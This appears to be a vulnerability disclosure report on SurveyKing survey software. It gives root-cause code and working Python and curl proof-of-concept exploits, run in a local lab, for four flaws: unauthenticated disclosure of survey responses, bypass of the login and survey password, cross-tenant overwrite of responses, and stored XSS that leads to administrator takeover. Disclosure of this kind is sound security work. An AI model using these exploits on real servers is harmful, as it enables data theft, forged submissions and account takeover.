# SurveyKing Vulnerability Report Software: SurveyKing Developer or vendor: Beijing Chengyu Yanxin Technology Co., Ltd. Code repository: https://github.com/javahuang/SurveyKing ## 1. Unauthenticated Disclosure of All Survey Responses Brief description: An attacker who has the survey id from a public survey link can read every response of that survey, including fields hidden on the result lookup page. Affected versions: 1.13.2 Preconditions: The survey is published and has result lookup enabled. ### Root Cause The public view returns `setting.submittedSetting` as a whole, so the `password` of the result lookup appears in the anonymous response. In the same mapper, `answerSettingToAnswerSetting` copies fields one by one and does not copy `password`: ```java // server/rdbms/src/main/java/cn/surveyking/server/domain/mapper/ProjectViewMapperImpl.java:105-142 commit 6e3e4ce795 protected ProjectSetting.AnswerSetting answerSettingToAnswerSetting(ProjectSetting.AnswerSetting answerSetting) { ... answerSetting1.setLoginRequired(answerSetting.getLoginRequired()); answerSetting1.setQuestionNumber(answerSetting.getQuestionNumber()); ... return answerSetting1; } protected ProjectSetting projectSettingToProjectSetting(ProjectSetting projectSetting) { ... projectSetting1.answerSetting(this.answerSettingToAnswerSetting(projectSetting.getAnswerSetting())); projectSetting1.submittedSetting(projectSetting.getSubmittedSetting()); ... } ``` With the lookup configuration in hand, the attacker obtains the lookup id and password. `loadQuery` skips the password check when the request carries no `answer`, so an anonymous request returns the question id and option id of the condition question: ```java // server/rdbms/src/main/java/cn/surveyking/server/impl/SurveyServiceImpl.java:948-967 commit 6e3e4ce795 private void validatePublicQuery(ProjectSetting.PublicQuery query, LinkedHashMap answer) { ... if (StringUtils.isNotBlank(query.getPassword()) && answer != null) { ... } } ``` `getQueryResult` passes the condition value to a MyBatis `like`, where a `%` in the value acts as a wildcard, so one request matches every response: ```java // server/rdbms/src/main/java/cn/surveyking/server/impl/SurveyServiceImpl.java:1008-1041 commit 6e3e4ce795 private List findAnswerByQuery(PublicQueryRequest request, Tuple2 projectAndQuery) { ... List answer = this.answerService.list(... .like(Answer::getAnswer, this.buildLikeQueryConditionOfQuestion(...)))); } private String buildLikeQueryConditionOfQuestion(SchemaHelper.TreeNode qNode, Map qValueObj) { ... value = "\"" + value + "\""; return String.format("{\"%s\":%s}", optionId, value); } ``` With an answerId, a `loadProject` call that carries `answerId` returns before the login and survey status checks and includes the full `answer` and `survey` of the response: ```java // server/rdbms/src/main/java/cn/surveyking/server/impl/SurveyServiceImpl.java:277-286 commit 6e3e4ce795 if (query.getAnswerId() != null) { AnswerView answerView = this.getAnswerForProject(project.getId(), query.getAnswerId()); if (answerView != null) { projectView.setAnswer(answerView.getAnswer()); if (answerView.getSurvey() != null) { projectView.setSurvey(answerView.getSurvey()); } } return projectView; } ``` ### Reproduction Environment The lab follows the single-container deployment from the official documentation: ```bash mkdir -p surveyking/{config,db,files,logs} && cd surveyking docker run -d --name surveyking -p 1991:1991 \ -e SERVER_PORT=1991 \ -e JAVA_OPTS='-Xms256m -Xmx1g -Dfile.encoding=UTF-8' \ -v "$PWD/config:/app/config" -v "$PWD/db:/app/db" \ -v "$PWD/files:/app/files" -v "$PWD/logs:/app/logs" \ surveyking/surveyking:latest ``` Open `http://127.0.0.1:1991/setup`, select the built-in H2 database, and finish the initialization. The script below has the administrator create a published survey with result lookup enabled and write two responses: ```python import base64, httpx from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import padding base = "http://127.0.0.1:1991" pk = httpx.get(base + "/api/system").json()["data"]["publicKey"] key = serialization.load_der_public_key(base64.b64decode(pk)) enc = base64.b64encode(key.encrypt(b"123456", padding.PKCS1v15())).decode() r = httpx.post(base + "/api/public/login", json={"username": "admin", "password": enc}) tok = next(x.split(";")[0].split("=", 1)[1] for x in r.headers.get_list("set-cookie") if x.startswith("sk-token=")) adm = httpx.Client(base_url=base, cookies={"sk-token": tok}) pub = httpx.Client(base_url=base) def q(i, t): return {"id": i, "title": t, "type": "FillBlank", "attribute": {}, "children": [{"id": i + "_1", "attribute": {}}]} survey = {"id": "x", "title": "Employee salary survey", "attribute": {}, "children": [q("name", "Name"), q("phone", "Phone"), q("salary", "Salary (hidden)")]} pid = adm.post("/api/project/create", json={"name": "Employee salary survey", "mode": "survey", "survey": survey}).json()["data"]["id"] survey["id"] = pid setting = {"status": 1, "mode": "survey", "answerSetting": {}, "submittedSetting": {"publicQuery": [{"id": "lookup", "title": "Lookup my result", "enabled": True, "password": "LookupPwd#2026", "conditionQuestion": "#{name}", "fieldPermission": {"name": 1, "phone": 1, "salary": 0}}]}} adm.post("/api/project/update", json={"id": pid, "name": "Employee salary survey", "mode": "survey", "survey": survey, "setting": setting}) for name, phone, salary in [("alice", "13000000001", "SALARY-33000"), ("bob", "13000000002", "SALARY-41000")]: pub.post("/api/public/saveAnswer", json={"projectId": pid, "tempSave": 0, "answer": { "name": {"name_1": name}, "phone": {"phone_1": phone}, "salary": {"salary_1": salary}}}) print(pid) ``` ### Reproduction Open the public survey page without logging in; it shows three questions: ![](img/01-public-survey.png) The responses as seen by the administrator on the data page; the `Salary (hidden)` column is hidden for the result lookup: ![](img/01-admin-answers.png) Replace `pid` in the script below with the value printed by the previous script. The script reads the lookup configuration, reads the lookup form, enumerates every response, and reads each full response: ```python import httpx base = "http://127.0.0.1:1991" pid = "RHgV6Z" c = httpx.Client(base_url=base) project = c.post("/api/public/loadProject", json={"id": pid}).json()["data"] pc = project["setting"]["submittedSetting"]["publicQuery"][0] print("[1]", pc) form = c.post("/api/public/loadQuery", json={"id": pid, "resultId": pc["id"]}).json()["data"]["schema"] option_id = form["children"][0]["children"][0]["id"] print("[2]", form["children"][0]["id"], option_id) res = c.post("/api/public/getQueryResult", json={"id": pid, "resultId": pc["id"], "answer": {"password": {"password": pc["password"]}}, "query": {option_id: "%"}}).json()["data"]["answers"] print("[3]", [a["answerId"] for a in res]) for a in res: full = c.post("/api/public/loadProject", json={"id": pid, "answerId": a["answerId"]}).json()["data"] print("[4]", a["answerId"], full["answer"]) ``` The output is: ``` [1] {'id': 'lookup', 'title': 'Lookup my result', 'enabled': True, 'password': 'LookupPwd#2026', 'conditionQuestion': '#{name}', 'fieldPermission': {'name': 1, 'phone': 1, 'salary': 0}} [2] name name_1 [3] ['3ac7096a-cbfc-41b9-9958-6ed978934a46', '74dc1229-f1fd-4092-89ff-39eaecc2c7b5'] [4] 3ac7096a-cbfc-41b9-9958-6ed978934a46 {'name': {'name_1': 'alice'}, 'phone': {'phone_1': '13000000001'}, 'salary': {'salary_1': 'SALARY-33000'}} [4] 74dc1229-f1fd-4092-89ff-39eaecc2c7b5 {'name': {'name_1': 'bob'}, 'phone': {'phone_1': '13000000002'}, 'salary': {'salary_1': 'SALARY-41000'}} ``` The `salary` of both responses is hidden for the result lookup, yet the anonymous request still returns the original values. ## 2. Bypassing the Survey Login and Survey Password Brief description: An anonymous client can submit a protected survey, bypassing both "login required" and the survey password, and attribute the response to another user. Affected versions: 1.12.0 to 1.13.2 Preconditions: The target has a published survey that enables either "login required" or a survey password. ### Root Cause "Login required" and the survey password are checked only in `validateProject` and `convertAndValidateLoginFormIfNeeded`, both called from `loadProject`; the write path of `saveAnswer` does not go through them: ```java // server/rdbms/src/main/java/cn/surveyking/server/impl/AnswerServiceImpl.java:291-304 commit 6e3e4ce795 public AnswerView saveAnswer(AnswerRequest request) { ... Answer answer = this.answerViewMapper.fromRequest(request); answer.setId(UUID.randomUUID().toString()); answer.setCreateAt(new Date()); this.save(this.beforeSaveAnswer(answer)); return (AnswerView)this.answerViewMapper.toView(answer); } ``` The survey password check lives in the login form flow: ```java // server/rdbms/src/main/java/cn/surveyking/server/impl/SurveyServiceImpl.java:1083-1088 commit 6e3e4ce795 if (answerSetting.getPassword() != null) { loginRequired = true; queryConditions.add(SchemaHelper.buildFillBlankQuerySchema(...extraPassword)); if (answer != null && !answerSetting.getPassword().equals(SchemaHelper.getLoginFormAnswer(answer, ...extraPassword))) { throw new ErrorCodeException(ErrorCode.ValidationError); } } ``` The submitter of a response comes from the request body: ```java // server/rdbms/src/main/java/cn/surveyking/server/domain/mapper/AnswerViewMapperImpl.java:23-45 commit 6e3e4ce795 public Answer fromRequest(AnswerRequest request) { ... answer.setCreateBy(request.getCreateBy()); return answer; } ``` ### Reproduction Environment Rebuild a fresh instance as described in section 1 and finish the initialization. The script below creates a survey with "login required" and a survey password enabled: ```python import base64, httpx from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import padding base = "http://127.0.0.1:1991" pk = httpx.get(base + "/api/system").json()["data"]["publicKey"] key = serialization.load_der_public_key(base64.b64decode(pk)) enc = base64.b64encode(key.encrypt(b"123456", padding.PKCS1v15())).decode() r = httpx.post(base + "/api/public/login", json={"username": "admin", "password": enc}) tok = next(x.split(";")[0].split("=", 1)[1] for x in r.headers.get_list("set-cookie") if x.startswith("sk-token=")) adm = httpx.Client(base_url=base, cookies={"sk-token": tok}) survey = {"id": "x", "title": "Protected feedback survey", "attribute": {}, "children": [{"id": "q1", "title": "Your feedback", "type": "FillBlank", "attribute": {}, "children": [{"id": "q1_1", "attribute": {}}]}]} pid = adm.post("/api/project/create", json={"name": "Protected feedback survey", "mode": "survey", "survey": survey}).json()["data"]["id"] survey["id"] = pid adm.post("/api/project/update", json={"id": pid, "name": "Protected feedback survey", "mode": "survey", "survey": survey, "setting": {"status": 1, "mode": "survey", "answerSetting": {"loginRequired": True, "password": "AnswerPwd#2026"}}}) print(pid) ``` ### Reproduction Replace `projectId` in the requests below with the value printed by the script. Open the survey link without logging in; the page asks for a username, a password, and the survey password: ![](img/02-login-form.png) Submit a response anonymously; the server returns 200: ```bash curl -s -X POST http://127.0.0.1:1991/api/public/saveAnswer \ -H 'Content-Type: application/json' \ -d '{"projectId":"vTi1G0","tempSave":0,"answer":{"q1":{"q1_1":"anonymous respondent"}}}' ``` The output is: ``` {"code":200,"data":{"answerId":"c30e7516-8ef5-4d35-8962-9b6d242c3efb"}} ``` Submit again with `createBy` set to the administrator user id: ```bash curl -s -X POST http://127.0.0.1:1991/api/public/saveAnswer \ -H 'Content-Type: application/json' \ -d '{"projectId":"vTi1G0","tempSave":0,"createBy":"1457995481966747649","answer":{"q1":{"q1_1":"forged by anonymous client"}}}' ``` The output is: ``` {"code":200,"data":{"answerId":"9e89666d-df32-4a52-a380-42d47102f570"}} ``` On the administrator data page, the submitter of the first response is `Admin`: ![](img/02-forged-submitter.png) ## 3. Cross-Project Read and Write of Responses through a Linked Survey Brief description: A normal account can read and rewrite the responses of another tenant's survey through an option linked survey. Affected versions: 1.12.0 to 1.13.2 Preconditions: The attacker has a normal account that can create surveys; the target survey id and question ids are available from the public link and the public schema. ### Root Cause The link configuration is stored in the attacker's own survey. `linkSurveyId` is filled in by the configurator and the server does not check which project it belongs to. The read endpoint queries the target project by that id and returns the matched response fields: ```java // server/rdbms/src/main/java/cn/surveyking/server/impl/SurveyServiceImpl.java:475-498 commit 6e3e4ce795 public PublicLinkResult loadLinkResult(PublicLinkRequest request) { ... for (SurveySchema.LinkSurvey linkSurvey : linkSurveys) { Answer answer = (Answer)this.answerService.getOne(... .eq(Answer::getProjectId, linkSurvey.getLinkSurveyId()) .like(Answer::getAnswer, this.buildLinkLikeCondition(linkSurvey, request.getValue())) .orderByDesc(BaseModel::getCreateAt)).last("limit 1")); this.fillLinkFieldAndAnswer(answer != null ? answer.getAnswer() : null, linkSurvey.getLinkFields(), fillAnswer); } return result; } ``` The write side likewise only looks at the id in the configuration. When a target response matches, its fields are rewritten; when none matches, a response is created in the target project: ```java // server/rdbms/src/main/java/cn/surveyking/server/impl/AnswerServiceImpl.java:784-815 commit 6e3e4ce795 private void updateLinkSurveyAnswer(Answer answer, ProjectView project) { ... Answer linkedAnswer = (Answer)this.getOne(... .eq(Answer::getProjectId, linkSurvey.getLinkSurveyId()) .like(Answer::getAnswer, SchemaHelper.buildLinkLikeCondition(linkSurvey, optionValue)) .orderByDesc(BaseModel::getCreateAt)).last("limit 1")); if (linkedAnswer != null) { for (SurveySchema.LinkField linkField : linkSurvey.getLinkFields()) { SchemaHelper.setQuestionValue(linkedAnswer.getAnswer(), linkField.getLinkQuestionId(), linkField.getLinkOptionId(), ...); } this.updateById(linkedAnswer); } } ``` ### Reproduction Environment Rebuild a fresh instance as described in section 1 and finish the initialization. The script below has the administrator create the victim survey with one response containing a secret, then creates a normal account that can only create surveys; that account creates the survey with the link configuration: ```python import base64, httpx from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import padding base = "http://127.0.0.1:1991" def login(user, password): pk = httpx.get(base + "/api/system").json()["data"]["publicKey"] key = serialization.load_der_public_key(base64.b64decode(pk)) enc = base64.b64encode(key.encrypt(password.encode(), padding.PKCS1v15())).decode() r = httpx.post(base + "/api/public/login", json={"username": user, "password": enc}) tok = next(x.split(";")[0].split("=", 1)[1] for x in r.headers.get_list("set-cookie") if x.startswith("sk-token=")) return httpx.Client(base_url=base, cookies={"sk-token": tok}) def q(i, t): return {"id": i, "title": t, "type": "FillBlank", "attribute": {}, "children": [{"id": i + "_1", "attribute": {}}]} adm = login("admin", "123456") pub = httpx.Client(base_url=base) survey = {"id": "x", "title": "Customer contact list", "attribute": {}, "children": [q("v1", "Customer name"), q("v2", "Private contact")]} vpid = adm.post("/api/project/create", json={"name": "Customer contact list", "mode": "survey", "survey": survey}).json()["data"]["id"] survey["id"] = vpid adm.post("/api/project/update", json={"id": vpid, "name": "Customer contact list", "mode": "survey", "survey": survey, "setting": {"status": 1, "mode": "survey", "answerSetting": {}, "submittedSetting": {}}}) pub.post("/api/public/saveAnswer", json={"projectId": vpid, "tempSave": 0, "answer": {"v1": {"v1_1": "victim"}, "v2": {"v2_1": "VICTIM-SECRET-777"}}}) adm.post("/api/system/role/create", json={"name": "Survey editor", "code": "survey_editor", "remark": "demo", "authorities": ["project", "project:list", "project:detail", "project:create", "project:update", "answer", "answer:list", "answer:detail", "file", "file:detail", "file:list"]}) rid = next(r["id"] for r in adm.get("/api/system/role/list").json()["data"]["list"] if r["code"] == "survey_editor") adm.post("/api/system/user/create", json={"username": "attacker", "password": "Attacker2026", "name": "Attacker", "roles": [rid], "status": 1, "deptId": "1"}) atk = login("attacker", "Attacker2026") asurvey = {"id": "x", "title": "Attacker survey", "attribute": {}, "children": [{"id": "a1", "title": "Link", "type": "FillBlank", "attribute": {}, "children": [{"id": "a1_1", "linkSurveys": [{"enableUpdate": True, "linkSurveyId": vpid, "linkQuestionId": "v1", "linkOptionId": "v1_1", "linkType": "like", "linkFields": [{"linkQuestionId": "v2", "linkOptionId": "v2_1", "fillQuestionId": "a2", "fillOptionId": "a2_1"}]}]}]}, {"id": "a2", "title": "Filled", "type": "FillBlank", "attribute": {}, "children": [{"id": "a2_1", "attribute": {}}]}]} apid = atk.post("/api/project/create", json={"name": "Attacker survey", "mode": "survey", "survey": asurvey}).json()["data"]["id"] asurvey["id"] = apid atk.post("/api/project/update", json={"id": apid, "name": "Attacker survey", "mode": "survey", "survey": asurvey, "setting": {"status": 1, "mode": "survey", "answerSetting": {}, "submittedSetting": {}}}) print(vpid, apid) ``` ### Reproduction Replace `projectId` in the two requests below with the second id printed by the script. Read the victim response anonymously: ```bash curl -s -X POST http://127.0.0.1:1991/api/public/loadLinkResult \ -H 'Content-Type: application/json' \ -d '{"projectId":"DJV25U","questionId":"a1","optionId":"a1_1","value":"%"}' ``` The output is: ``` {"code":200,"data":{"answer":{"a2":{"a2_1":"VICTIM-SECRET-777"}}}} ``` Rewrite the same response anonymously: ```bash curl -s -X POST http://127.0.0.1:1991/api/public/saveAnswer \ -H 'Content-Type: application/json' \ -d '{"projectId":"DJV25U","tempSave":0,"answer":{"a1":{"a1_1":"%"},"a2":{"a2_1":"PWNED-BY-LINK"}}}' ``` The output is: ``` {"code":200,"data":{"answerId":"3df53bf5-9cfd-4a47-a45e-7727efa19929"}} ``` The administrator refreshes the victim survey data page; the `Private contact` field has been rewritten: ![](img/03-victim-answer-overwritten.png) ## 4. Stored XSS When an Administrator Opens a Forged Response Snapshot Brief description: An anonymous respondent submits a response with a forged survey snapshot; when the administrator opens that response the script runs in the administrator's browser, and the attacker takes over a victim account. Affected versions: 1.13.0 to 1.13.2 Preconditions: The target has a published public survey and the administrator views its responses. ### Root Cause The `survey` field of a response request is mapped into the response record as is: ```java // server/rdbms/src/main/java/cn/surveyking/server/domain/mapper/AnswerViewMapperImpl.java:23-45 commit 6e3e4ce795 public Answer fromRequest(AnswerRequest request) { ... answer.setSurvey(request.getSurvey()); ... } ``` When the response is saved, the snapshot in the request takes priority and the project's own survey is only a fallback: ```java // server/rdbms/src/main/java/cn/surveyking/server/impl/AnswerServiceImpl.java:731-743 commit 6e3e4ce795 private Answer beforeSaveAnswer(Answer answer) { ... SurveySchema answerSurvey = answer.getSurvey() != null ? answer.getSurvey() : (previousAnswer != null && previousAnswer.getSurvey() != null ? previousAnswer.getSurvey() : project.getSurvey()); this.fileService.validateAndBindAnswerFiles(answer.getProjectId(), answer.getId(), answerSurvey, answer.getAnswer(), ...); ... } ``` The administrator's data page renders the title from the snapshot of that record. Before rendering, the title is passed to a function that converts HTML to text. The function creates a detached `div`, assigns the title to `innerHTML`, then reads `textContent`: ```javascript // v1.13.2 official image build static/umi.ded23be0.js revision 6e3e4ce795 function a(e){var t=document.createElement("div"); function r(e){...} return t.innerHTML=e||"",r(t),t.textContent||t.innerText||""} ``` On the `innerHTML` assignment, an `` in the title is parsed and `onerror` fires, so the script runs. ### Reproduction Environment Rebuild a fresh instance as described in section 1 and finish the initialization. The script below creates a published survey with a fill-in question `q1`: ```python import base64, httpx from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import padding base = "http://127.0.0.1:1991" pk = httpx.get(base + "/api/system").json()["data"]["publicKey"] key = serialization.load_der_public_key(base64.b64decode(pk)) enc = base64.b64encode(key.encrypt(b"123456", padding.PKCS1v15())).decode() r = httpx.post(base + "/api/public/login", json={"username": "admin", "password": enc}) tok = next(x.split(";")[0].split("=", 1)[1] for x in r.headers.get_list("set-cookie") if x.startswith("sk-token=")) adm = httpx.Client(base_url=base, cookies={"sk-token": tok}) survey = {"id": "x", "title": "F7 Demo Survey", "attribute": {}, "children": [{"id": "q1", "title": "q1", "type": "FillBlank", "attribute": {}, "children": [{"id": "q1_1", "attribute": {}}]}]} pid = adm.post("/api/project/create", json={"name": "F7 Demo Survey", "mode": "survey", "survey": survey}).json()["data"]["id"] survey["id"] = pid adm.post("/api/project/update", json={"id": pid, "name": "F7 Demo Survey", "mode": "survey", "survey": survey, "setting": {"status": 1, "mode": "survey", "answerSetting": {}, "submittedSetting": {}}}) print(pid) ``` ### Reproduction Replace both `Y0ZuZa` in the script below with the survey id printed by the previous script. Submit a response anonymously with a survey snapshot whose `title` is replaced with malicious HTML: ```python import httpx payload = "r.text()).then(t=>{document.documentElement.insertAdjacentHTML('afterbegin','
ANSWER SNAPSHOT XSS PATH='+location.pathname+'
'+t.slice(0,300)+'
')})\">" snapshot = {"id": "Y0ZuZa", "title": payload, "attribute": {}, "children": [{"id": "q1", "title": "q1", "type": "FillBlank", "attribute": {}, "children": [{"id": "q1_1", "attribute": {}}]}]} r = httpx.post("http://127.0.0.1:1991/api/public/saveAnswer", json={ "projectId": "Y0ZuZa", "tempSave": 0, "answer": {"q1": {"q1_1": "hello"}}, "survey": snapshot}) print(r.text) ``` The output is: ``` {"code":200,"data":{"answerId":"36407504-06c7-48dd-9112-ecdd65d46b79"}} ``` The administrator selects this response on the Data page: ![](img/04-answer-list.png) Clicking "Edit data" opens the "Record details" dialog; the script runs and displays the response of the administrator role endpoint: ![](img/04-xss-proof.png)